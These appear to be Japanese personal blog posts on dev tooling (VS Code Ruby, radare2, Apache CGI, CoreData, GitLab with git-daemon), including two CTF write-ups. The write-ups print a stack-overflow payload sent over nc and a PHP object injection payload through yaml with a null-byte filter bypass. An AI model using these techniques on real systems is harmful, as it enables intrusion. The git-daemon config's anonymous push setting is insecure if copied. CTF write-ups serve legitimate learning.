Visual Studio Code で Ruby を何とかして書けるようにする

Visual Studio Code を触り始めたのでメモ
https://www.visualstudio.com/ja-jp/products/code-vs.aspx

extension をインストール

デフォルトでは Ruby の設定が入っていないので extension をインストールします。

https://marketplace.visualstudio.com/items?itemName=rebornix.Ruby

ext install ruby

Chocolatey で Ruby を入手

最近流行りの Windows パッケージ管理ツール Chocolatey がインストールされていることを前提に進めます。

Chocolatey で Ruby 本体と後で必要になる DevKit を入れます。

> cinst ruby ruby2.devkit

DevKit の設定

Visual Studio CodeRuby の利用設定をする時に ruby-debug-ide という gem パッケージが必要となるのですが、このパッケージはネイティブコードを含むのでインストールするためにはビルドが必要となります。
そのビルドを Windows 上でできるようにするためのツールが DevKit です。

Ruby 本体と DevKit は C:\tools にインストールされます。
この本体と DevKit を連携させるための設定を行わないと、 ruby-debug-ide を gem install したときにビルドが失敗するのでコマンドプロンプトで設定を行います。

> cd C:\tools\DevKit2
> ruby dk.rb init

init すると config.yml が生成されるのでメモ帳で編集します。

> notepad.exe config.yml

内容に以下の行を追加し、Ruby 本体がどこにあるのかを config に指定してください。

- C:/tools/ruby23

config.yml の編集が終わったら連携設定をします。エラーが出なければ設定完了です。

> ruby dk.rb install

gem パッケージのインストール

> gem install ruby-debug-ide debase


ひとまずこれで動くはず。

2016/06/12 追記
設定してみたけれども autocomplete がまだ実装されておらず、まだまだ発展途上といったところ。
DevKit の設定を入れて頑張ってにも関わらず、rdebug がサーバーが LISTEN できず動かなくて泣きそう。

.vscode/settings.json に記述するとコードの保存時に lint が働いて波線で警告してくれる。

{
    "ruby.lint": {
        "reek": false,
        "rubocop": true,
        "ruby": true, //Runs ruby -wc
        "fasterer": false,
        "debride": false,
        "ruby-lint": true
    }
}

パッケージは別途自分で入れておく。

> gem install rubocop ruby-lint

radare2 メモ

基本

https://radare.gitbooks.io/radare2book/content/introduction/basic_usage.html

radare2 をいじるにはアドレスへの seek, バッファの print そして alternate(write, append) の3つのコマンドが大切

seek コマンド

コマンドは s
引数としていくつかの式を指定することができる(ex: 10, +0x25, [0x100+ptr_table])
ブロックをベースにしたファイルをシークする場合は、ブロックサイズを b コマンドに指定して利用する
アドレスを前にシークする場合は >, 後ろにシークする場合は < を指定する

VA モード

radare2 が実行ファイルを開くと VA モードとしてファイルをオープンし、実行ファイルの各セクションを仮想アドレスにマッピングする
この VA モードではシークに仮想アドレスを利用し、radare2 開始時のアドレスを実行ファイルのエントリーポイントにセットする
-n オプションを指定すると non-VA モードとしてファイルオープンをする
non-VA モードではファイルの先頭からのオフセットを利用してシークを行う

print コマンド

コマンドは p
print コマンドにはいくつかのサブモードが存在し、そのサブモードは p コマンドの2番目の文字で指定することができる
例えば、 px とすると16進数で表示することができ、 pd であれば逆アセンブルを表示する

ファイル書き込み

-w オプションを指定すると書き込み可能でファイルオープンする
w コマンドで文字列や16進数のセット(x サブコマンド)、アセンブリのオペコード(a サブコマンド)をファイルへ書き込むことができる

w hello world    ; 文字列
wx 90 90 90 90   ; 16進数のセット
wa jmp 0x8048140 ; オペコード
wf inline.bin    ; ファイルコンテンツ
ヘルプメッセージ

コマンドへ ? を付加すると、そのコマンドのヘルプメッセージが表示される(ex: p?)

ビジュアルモード

V を押すとビジュアルモードになる
vim のように HJKL で移動、 q で終了
c でカーソルモードに移行する
複数バイトの範囲指定をする場合は Shift キーを押しながら移動して範囲を指定する
バイト列の上書きをする場合は i でモード切替をする
Tab キーを利用することで、バイト列と文字列のカラム間移動ができる
q で通常のビジュアルモードへ戻る

コマンドフォーマット

https://radare.gitbooks.io/radare2book/content/introduction/command_format.html

[.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ;

コマンドは「大文字小文字を区別する1文字」で表される

繰り返し

コマンドを繰り返す場合は、コマンドの直前に繰り返す回数分の数値を記入する

シェルコンテキスト

! をコマンドの直前に記入するとシェルコンテキストからコマンドを実行する
いまいち使い道わからず、!ls とかやると ls コマンドが動いたりする

ds                   ; デバッガの step コマンド
px 200 @ esp         ; esp から20バイトを表示
pc > file.c          ; ダンプバッファを C のバイト列に変換、file.c に保存
wx 90 @@ sym.*       ; nop 命令をすべてのシンボルに書き込み
pd 2000 | grep eax   ; オペコードを grep eax して絞り込み表示
px 20 ; pd 3 ; px 40 ; 複数コマンドを1行で実行
一時的なオフセット指定

@ を利用すると一時的にシーク位置を移動しコマンド実行を行う
例えば pd 5 @ 0x100000fce とするとシーク位置を一時的に 0x100000fce へ移動、逆アセンブルを表示し、完了時にシーク位置をコマンド呼び出し時の位置へ戻す

コマンド実行 + grep

pd 20~call で逆アセンブル結果の表示内容から call が含まれた部分のみを抽出して表示する

デバッガの基本

https://radare.gitbooks.io/radare2book/content/introduction/basic_debugger_session.html

プログラムのデバッグには -d オプションを radare 実行時に付加する
プログラムのアタッチはアタッチ先のプロセス ID を指定する

$ r2 -d /bin/ls
初回ブレークポイント

デバッガは動作に必要なライブラリを動的リンクをする前に実行をストップする
この振る舞いは ~/.radare2rc へ設定を追加することによって変更することができる
例えば e dbg.bep=main の設定を追加すると、 main 関数の直前まで実行してデバッガが起動する

デバッガでよく使うコマンド
ds 3          ; 3回ステップ実行
db 0x8048920  ; ブレークポイントの設定
db -0x8048920 ; ブレークポイントの削除
dc            ; 実行を再開(continue)
dcs           ; syscall が呼ばれるまで実行を再開
dd            ; ファイルディスクリプタの操作
dm            ; プロセスマップの表示
dmp A S rwx   ; ページを A, サイズをS, 権限 rwx に変更
dr eax=33     ; レジスタの値を変更、ここでは eax を 33 に変更
ビジュアルモード

V でビジュアルモードでデバッグができる

sCTF 2016 Q1 Writeup

sCTFに参加しました。
チームyharimaとして参加し、結果は21位でした。
自分の担当分Writeupをつらつらと書いていきます。

When in Rome

rotするだけ、漢は黙ってtrコマンド。

$ tr a-z j-za-i
Nvctfdv kf jTKW! Nv yfgv pfl veafp kyv gifscvdj nv yrmv nizkkve wfi kyv wzijk hlrikvi fw 2016. Yviv zj pfli wzijk fw (yfgvwlccp) drep wcrxj! jtkw{ny3e_1e_tkw_u0_r5_tkw3i5_u0}
Nelcome to sTKW! Ne hope you enjoy the problems we have written for the first quarter of 2016. Yere is your first of (hopefully) many flags! sctf{wh3n_1n_ctf_d0_a5_ctf3r5_d0}

rev1

rip書き換えて終わり。

$ gdb rev1
(gdb) disass main
Dump of assembler code for function main:
   0x0000000000400656 <+0>:	push   rbp
   0x0000000000400657 <+1>:	mov    rbp,rsp
   0x000000000040065a <+4>:	sub    rsp,0x10
   0x000000000040065e <+8>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000400665 <+15>:	movabs rax,0x2121217230783468
   0x000000000040066f <+25>:	mov    QWORD PTR [rbp-0x10],rax
   0x0000000000400673 <+29>:	mov    BYTE PTR [rbp-0x8],0x0
   0x0000000000400677 <+33>:	mov    edi,0x400744
   0x000000000040067c <+38>:	call   0x400530 <puts@plt>
   0x0000000000400681 <+43>:	lea    rax,[rbp-0x4]
   0x0000000000400685 <+47>:	mov    rsi,rax
   0x0000000000400688 <+50>:	mov    edi,0x400760
   0x000000000040068d <+55>:	mov    eax,0x0
   0x0000000000400692 <+60>:	call   0x400550 <scanf@plt>
   0x0000000000400697 <+65>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040069a <+68>:	cmp    eax,0x5b74
   0x000000000040069f <+73>:	jne    0x4006b7 <main+97>
   0x00000000004006a1 <+75>:	lea    rax,[rbp-0x10]
   0x00000000004006a5 <+79>:	mov    rsi,rax
   0x00000000004006a8 <+82>:	mov    edi,0x400763
   0x00000000004006ad <+87>:	mov    eax,0x0
   0x00000000004006b2 <+92>:	call   0x400510 <printf@plt>
   0x00000000004006b7 <+97>:	mov    eax,0x0
---Type <return> to continue, or q <return> to quit---
   0x00000000004006bc <+102>:	leave
   0x00000000004006bd <+103>:	ret
End of assembler dump.
(gdb) b *0x000000000040069a
Breakpoint 1 at 0x40069a
(gdb) r
Starting program: /home/vagrant/sctf2016/rev1
What is the magic password?
fe

Breakpoint 1, 0x000000000040069a in main ()
(gdb) set $rip = 0x00000000004006a1
(gdb) c
Continuing.
Correct! Your flag is: h4x0r!!![Inferior 1 (process 5749) exited normally]

rev2

バイナリを読むと、int型数値を読み込んでcmp命令で比較する部分がある。
cmp命令が比較している値(0x30dda83)をint型数値に直し、それを入れるとflagが出てくる。

(gdb) disass main
Dump of assembler code for function main:
   0x0000000000400656 <+0>:	push   rbp
   0x0000000000400657 <+1>:	mov    rbp,rsp
   0x000000000040065a <+4>:	sub    rsp,0x10
   0x000000000040065e <+8>:	mov    DWORD PTR [rbp-0x8],0x0
   0x0000000000400665 <+15>:	mov    DWORD PTR [rbp-0x4],0x7d15d
   0x000000000040066c <+22>:	mov    edi,0x4007a4
   0x0000000000400671 <+27>:	call   0x400530 <puts@plt>
   0x0000000000400676 <+32>:	lea    rax,[rbp-0x8]
   0x000000000040067a <+36>:	mov    rsi,rax
   0x000000000040067d <+39>:	mov    edi,0x4007c0
   0x0000000000400682 <+44>:	mov    eax,0x0
   0x0000000000400687 <+49>:	call   0x400550 <scanf@plt>
   0x000000000040068c <+54>:	mov    eax,DWORD PTR [rbp-0x8]
   0x000000000040068f <+57>:	cmp    eax,0x30dda83
...
(gdb) x/s 0x4007c0
0x4007c0:	"%d"
(gdb) p 0x30dda83
$1 = 51239555
(gdb) quit
$ echo 51239555 | ./rev2
What is the magic password?
Correct! Your flag is: 51196695

Banana Boy

画像が1枚DLできるようになっており、それをバイナリエディタで開くと
ファイルの後半部分にもう一つ別の画像が連結されているので、それをコピペして抽出。
抽出した画像にflag発見。

Lengthy Lingo

数値の羅列とその数値を途中 , で区切られたファイルが渡される。, で区切られた数字列の文字数を1文字分のバイトとするとflagが出てくる。利用したコードは以下。

# -*- encoding: utf-8 -*-
r = []
with open('encrypted.dat') as f:
    for line in f.readlines():
        for v in line.strip().split(', '):
            r.append(chr(len(v)))
print ''.join(r)

pwn1

バイナリを見ると replace 関数で入力文字列の I を you にする置換処理がある。
ここでbuffer overflowを引き起こすので文字列をうまく調節し、return addressを狙う。
関数の戻り先は get_flag 関数がバイナリ内に存在したので、そのアドレス(0x08048f0d)にreturn addressを書き換える。

$ python -c "print 'IIIIIIIIIIIIIIIIIIIAAAAAAA' + '\x0d\x8f\x04\x08' * 10" | nc problems2.2016q1.sctf.io 1337
sctf{strcpy_was_a_mistake}

Musical Penguin

ファイルはtuxguitarと呼ばれるギター演奏ソフトの楽譜。
1楽節に5つの音符が含まれる、tab符に1, 2と書かれている。
じーっとながめるとモールス信号の数値の形に見えてくるので、とにかく書きおこす。1を長音、2を単音。
最初、1を単音、2を長音していたときもあった。。。

書きおこすと数値が出てくるが、数値には7〜9までの数字が出てこないので7進数と仮定してasciiにするとflagが出てくる。

import sys
import struct

target = '223 201 224 204 234 100 164 225 104 102 202 164 224 66 164 214 103 212 102 164 214 225 104 100 201 164 230 100 224 206 164 224 206 100 104 164 103 213 213 164 224 206 102 164 224 100 214 102 236'

tlist = [int(x, 7) for x in target.split(' ')]
r = struct.pack('B' * len(tlist), *tlist)
with open('b.bin', 'wb') as f:
    f.write(r)

場阿忍愚CTF Writeup

場阿忍愚CTFに参加しました。
結果は77位、次回はもっと時間作って頑張りたいです。

参加した記録を残す意味も込めて、超文章転送術(web問)400点問題の「Yamatonote」のWriteupを書いていきます。

超文章転送術 400 Yamatonote

どんな問題?

ノートを保存できるYamatonoteというサイトから、yamatoユーザーのノートを盗み見る問題。
特徴としてはそのノートをyaml形式でアップロードして保存できるところ。

方針

データベースのスキーマ情報を見ると、ノートを格納しているNoteテーブルは主キーが「ユーザー名」になっていてこの部分がyamatoになっているものを参照できれば盗み見れるんだろうなーと方針を立てる。

またソースコードを見ると、Noteテーブルの参照をSessionクラスの「userId変数」を利用してユーザーに対するノートを取得していることがわかった。
SessionクラスはデータベースのSessionテーブルを管理するクラス。SessionテーブルはPHPのセッションIDを主キー、値はSessionクラスの_param変数をserializeした値が格納される。
_param変数はユーザー情報の配列が格納されていて、ソースコード中では「userId」をキーとした値のみしか格納されない。

つまり、Sessionクラスで保持しているuserIdをyamatoにするような攻撃ができれば、現在のセッション情報を利用してうまい具合にノートが引き出せそう。

Yamlのライブラリを調査

怪しそうなyamlアップロード機能に着目して攻撃方法を考えた。
yamlのライブラリとしてpeclyamlライブラリが利用されていたので、そのドキュメントを熟読。
すると、yaml_parse関数のドキュメントの下部に以下のような注意書きを発見する。

警告
!php/object タグを使ったノードの unserialize() を有効にしている場合に、 ユーザーからの信頼できない入力を yaml_parse() で処理するのは危険です。 この挙動を無効にするには、ini 設定の yaml.decode_php を利用します。

!php/objectタグはyamlライブラリ独自のタグで、このタグが見つかった部分の要素を「PHPオブジェクトのserialize文字列」と認識し、その部分をunserializeしてオブジェクトに変換しその要素の値とする。

PHP Object Injection攻撃

このunserializeが勝手に行われるとなぜ危険なのかを調べると「PHP Object Injection」という攻撃方法があるからだとわかった。
PHP Object Injectionは「ユーザーからの入力を使ってunserializeを行ってインスタンスを作成した場合、そのインスタンスが生成される/破棄するときに実行される特殊関数__wakeup/__destructなどに動作に関わる重要な処理が記載されていた時に任意の攻撃が可能となる」という攻撃方法。

つまり「yaml内にPHPオブジェクトを生成する記述」があると、yamlライブラリの内部でunserializeされるのでPHP Object Injection攻撃が成功する可能性がある。
__wakeupとか__destructとかそんな気前よくあったかと探してみるとSessionクラスに__destruct、Dbクラスに__wakeupをそれぞれ発見。いよいよ怪しい。

SessionクラスとDbクラス

まずSessionクラスの__destructでは「データベースへセッション情報の書き込み」が行なわれている。

ということは、以下の流れで目的のNoteが取得できそう。

  • yamlの要素にSessionクラスのserialize文字列を指定、yaml_parse関数実行時に文字列がunserializeされSessionクラスのインスタンスが生成される
  • 動作が終わったと同時にインスタンスのデストラクタが走る
  • 事前に_param変数を調整しyamatoユーザーの情報を指定しておいて、その情報でSessionテーブルに書き込む

加えてセッション情報の書き込みには、Sessionクラスのdb変数にDbクラスのインスタンスも必要なので、これもserializeしておく。
Dbクラスの__wakeupには「データベースへの接続処理」があるので、unserializeされた時点でデータベースに接続済みの有効なインスタンスが生成される。これを忘れるとセッション情報の書き込みがうまくいかないので注意。

そんなこんなで以下のようなコードを書いてserialize文字列を生成した。セッションIDはクッキーから抜き出しておく。

<?php
class Db {};
class Session {
  private $_param = array("userId" => "yamato");
  public $id = "eq8l7n13m51pj85934r59nbqg2";
  public $db = null;
};

$session = new Session;
$session.db = new Db;
$param = array('session' => $session);
print yaml_emit($param);
session: !php/object "O:7:\"Session\":3:{s:15:\"\0Session\0_param\";a:1:{s:6:\"userId\";s:6:\"yamato\";}s:2:\"id\";s:26:\"eq8l7n13m51pj85934r59nbqg2\";s:2:\"db\";O:2:\"Db\":0:{}}"
最後の一声

生成したserialize文字列を利用しyamlをアップロードしたが、なぜかserialize文字列がそのままNoteの内容として保存されてしまってうまくいかない。

ソースコードをさらに追うと、yaml文字列の入力処理で「null文字を除去」している部分を発見。確かにserialize文字列にはnull文字が含まれていた。
そのためunserializeに失敗し、null文字が除去された状態のserialize文字列が保存されてしまっていた。

ただ、null文字の除去に利用されている正規表現が「Unicodeのnull文字(\u0000)」までは対応していなかったため、serialize文字列のnull文字をUnicode形式に置換。
置換後もう一度アップロードすると、null文字は除去されずにunserializeが成功したようで無事セッション情報が書き替わりyamatoユーザーのNoteが表示されてflagをゲット。


最後に

おそらく自分で筋道立てて正解できたのは初めてだったので、flagが出力されたときは結構うれしかったですw
他の問題はほとんど手をつけられなかったのが心残りですが、常設型のCTFサイトとかで練習しながらCTF力を上げていきたいと思います。

HomebrewでApache2.4(httpd2.4)

インストール

まずはおもむろに Homebrew から Apache 2.4 を入れましょう。
その際、--with-brewed-apr オプションも忘れずに。

brew install httpd24 --with-brewed-apr

無事インストールが終わったら、Apache 用の LaunchAgent plist ファイルをシンボリックリンクします。

ln -sfv /usr/local/opt/httpd24/*.plist ~/Library/LaunchAgents

以上の作業が終わったらインストール完了です。
Apache の設定ファイルは /usr/local/etc/apache2/2.4/httpd.conf に配置されます。
また htdocs は /usr/local/var/www/htdocs/ にあります。ここに HTML ファイルなどを置いていきましょう。

設定の反映

また、httpd.conf などを編集し、Apache に設定を反映させるには launchctl コマンドを利用します。

# Apache を停止
launchctl unload ~/Library/LaunchAgents/homebrew.mxcl.httpd24.plist

# Apache を開始
launchctl load ~/Library/LaunchAgents/homebrew.mxcl.httpd24.plist

加えて、apachectl コマンドを利用して操作することも出来ます。
操作方法については省略します。

mod_cgi を有効にし、スクリプトを動作させる

HTML ファイルだけでは寂しいので CGI スクリプトも動作するようにしましょう。
ここでは .py ファイル (Python) を動かすような設定を行います。

設定は httpd.conf を編集して行います。

157行目付近をコメントアウト
LoadModule cgi_module libexec/mod_cgi.so
248行目付近を以下に変更
# Options Indexes FollowSymLinks
Options FollowSymLinks ExecCGI
407行目付近を以下に変更
# AddHandler cgi-script .cgi
AddHandler cgi-script .cgi .py
編集が終わったら Apache を再起動し、設定を反映
launchctl unload ~/Library/LaunchAgents/homebrew.mxcl.httpd24.plist
launchctl load ~/Library/LaunchAgents/homebrew.mxcl.httpd24.plist

設定が終わったら、htdocs フォルダに以下のような Python スクリプトを 「test.py」 という名前で保存しましょう。

#!/usr/bin/python
print 'Content-type: text/plain'
print ''

print 'it works!'

そして、ブラウザ経由で

http://localhost:8080/test.py

へアクセスするとスクリプトが実行されます。

コンソールアプリでCoreDataを使う

はじめに

最近何を思ったかObjective-Cを勉強しています。
初めはとっても取っ付きづらい言語だと思いましたが、
今ではそこまで拒絶反応を示すこと無く取り組めています。
何事も慣れだと思いましたねぇ^^;

さてこの記事、とてもニッチなタイトルですが、Objective-C
というよりもiOSMac OSでデータ管理をするのに便利なCoreDataという技術を
「どうすればコンソールアプリケーションで利用できるか」をご紹介します。

CoreDataで検索をするとiOSMac OSプログラミングの記事はたくさん出てくるのですが、
コンソールアプリケーションからCoreDataを叩くものは無かったように思えるので
自分で利用するメモがてら、つらつらと書いていこうと思います。

CoreDataを利用する

早速ネタバレしてしまうと、Xcodeの新規作成ウィザードでCoreDataを利用する
コンソールアプリケーションのテンプレートが作成できます。何事も解決ですねw

プロジェクトの新規作成画面で、
[OS X] -> [Application] -> [Command Line Tool] を選び Next をクリックし、
いつものプロジェクトの名前を入れる画面の下部にある Type のリストボックスから
[Core Data]を選択してプロジェクトを作成するとあっという間にできます。んー。

せっかくなので

これで終わりなのもしゃくなので、CoreDataを利用するために必要な
NSManagedObjectContextを管理するクラスを作成し、コンテキストを取得できるようにしましょう。
以下のようなクラスを作ると、開発がスムーズになる、かもしれません。

CoreDataManager.h
#import <Foundation/Foundation.h>
#import <CoreData/CoreData.h>

@interface CoreDataManager : NSObject
+ (NSManagedObjectContext *)getManagedObjectContext;
+ (NSManagedObjectModel *)  getManagedObjectModel;
@end
CoreDataManager.m
#import "CoreDataManager.h"

// 静的変数でコンテキストを保持
static NSManagedObjectContext *managedObjectContext = nil;
static NSManagedObjectModel   *managedObjectModel = nil;

@implementation CoreDataManager
+ (NSManagedObjectContext *)getManagedObjectContext {
    if(managedObjectContext != nil) {
        return managedObjectContext;
    }
    
    @autoreleasepool {
        managedObjectContext = [[NSManagedObjectContext alloc] init];
        
        NSPersistentStoreCoordinator *coordinator =
        [[NSPersistentStoreCoordinator alloc]
         initWithManagedObjectModel: [self getManagedObjectModel]];
        [managedObjectContext setPersistentStoreCoordinator: coordinator];
        
        NSString *STORE_TYPE = NSSQLiteStoreType;
        
        NSString *path = [[NSProcessInfo processInfo] arguments][0];
        path = [path stringByDeletingPathExtension];
        NSURL *url = [NSURL fileURLWithPath: [path stringByAppendingPathExtension: @"sqlite"]];
        
        NSError *error;
        NSPersistentStore *newStore =
        [coordinator addPersistentStoreWithType: STORE_TYPE
                                  configuration: nil
                                            URL: url
                                        options: nil
                                          error: &error];
        
        if(newStore == nil) {
            NSLog(@"Store Configuration Failure");
            return NO;
        }
    }
    
    return managedObjectContext;
}

+ (NSManagedObjectModel *)getManagedObjectModel {
    if(managedObjectModel != nil) {
        return managedObjectModel;
    }

    // ApplicationName はプロジェクトに合わせて
    NSString *path = @"ApplicationName";
    path = [path stringByDeletingPathExtension];
    NSURL *modelUrl =
    [NSURL fileURLWithPath: [path stringByAppendingPathExtension: @"momd"]];
    managedObjectModel = [[NSManagedObjectModel alloc]
                          initWithContentsOfURL: modelUrl];
    
    return managedObjectModel;
}
@end

ほとんどテンプレート通りで申し訳ないです…。

CoreDataManagerクラスのクラスメソッドから、初期化されたコンテキストを
取得することによって様々なクラスからCoreDataの機能を利用することが可能になります。

あとはプロジェクトにData Model(ApplicationName.xcdatamodeld)を追加して
モデルを設計するといい感じです。

最後に

CoreDataはとにかくsqliteファイルを作らなければなりません。
それを今回作成したCoreDataManagerクラスで管理しています。
コンソールアプリケーションの場合、そのファイルの作成を手動でやらなければならないので
iOSMac OSアプリケーションとは違って少し手間がかかりますが、それを乗り切ればあとは楽勝です。
CoreDataをコンソールアプリケーションでも便利に使って行きましょう。

GitLabとgit-daemonを連携させる

2013/07/03追記
最新版のGitLabではこの記事に載っている方法は使えません。

こんにちは。あっという間に春が終わり、夏に入ろうかという今日この頃。
GWはだらだらと過ごそうと思います笑

今回はGitLab(The first single application for the entire DevOps lifecycle - GitLab | GitLab)のお話です。
研究室にこのGitLabサーバーを建て、運用してますがなかなか便利です。
ただ、Gitプロトコルを使って気軽にクローンできないのは何かと不便な場面が出てきたので、GitLabのソースをちょこっと改造してgit-daemonと連携するようにしました。
忘れないようにそれのメモ。あ、改造して不具合が出ても自己責任でお願いします。

必要なもの

  • GitLabサーバー(Ubuntu 12.04、設置方法は公式通り)
  • Gitolite(構築した際に設定したはず)
  • git-daemon

手順

GitLabサービスを停止
$ sudo service gitlab stop
git-daemonをインストール
$ sudo apt-get install git-daemon-run
git-daemon-runの設定

/etc/sv/git-daemon/run を編集します。
gitoliteのレポジトリは /home/git/repositories にあるとします。

/etc/sv/git-daemon/run

#!/bin/sh
exec 2>&1
echo 'git-daemon starting.'
exec chpst -ugitdaemon:git \
  "$(git --exec-path)"/git-daemon --verbose --reuseaddr \
    --base-path=/home/git/repositories --export-all --enable=receive-pack /home/git/repositories

になるようにしてください。この辺はあちこちのサイトに書いてあることと一緒ですね。

git-daemon起動
sudo sv start git-daemon

これでデーモンの設定が出来ました。

GitLabの改造

改造といっても一行加えるだけです。
GitLabを設置したディレクトリ(公式通りに設置したのであれば /home/gitlab/gitlab/)の
lib/gitlab/backend/gitolite_config.rb をいじります。

lib/gitlab/backend/gitolite_config.rb 197行目付近

...
      # Add write permissions
      repo.add_permission("RW+", "", name_writers) unless name_writers.blank?
      repo.add_permission("RW+", "", name_masters) unless name_masters.blank?

      # !!!追加!!!
      repo.add_permission("R", "", "daemon")

      repo
...
GitLabサービスを開始
sudo service gitlab start

以上で手順は終了です。

確認

これでこれから新たに作成されるレポジトリのすべてが、Gitデーモンによって公開されるようになりました。
すでにGitLabに登録されているレポジトリの場合、Administrator をレポジトリに登録、削除などしてレポジトリに変化を起こせば、デーモンが適用されたレポジトリに変更されます。

こんな感じのコマンドでクローン出来れば万々歳です。

git clone git://localhost/someproject.git

まぁ結局何をしたかというとGitolite の config に R = daemon を追加しただけです。直接 gitolite-admin の設定を変更しても良かったのですが、いちいち変更するのも面倒だったので、GitLabに少しだけ手を加えて楽をした、という具合ですね。

不要だとは思いますが、Gitwebも同様にして出来ます。気になる人はやってみてください。
では。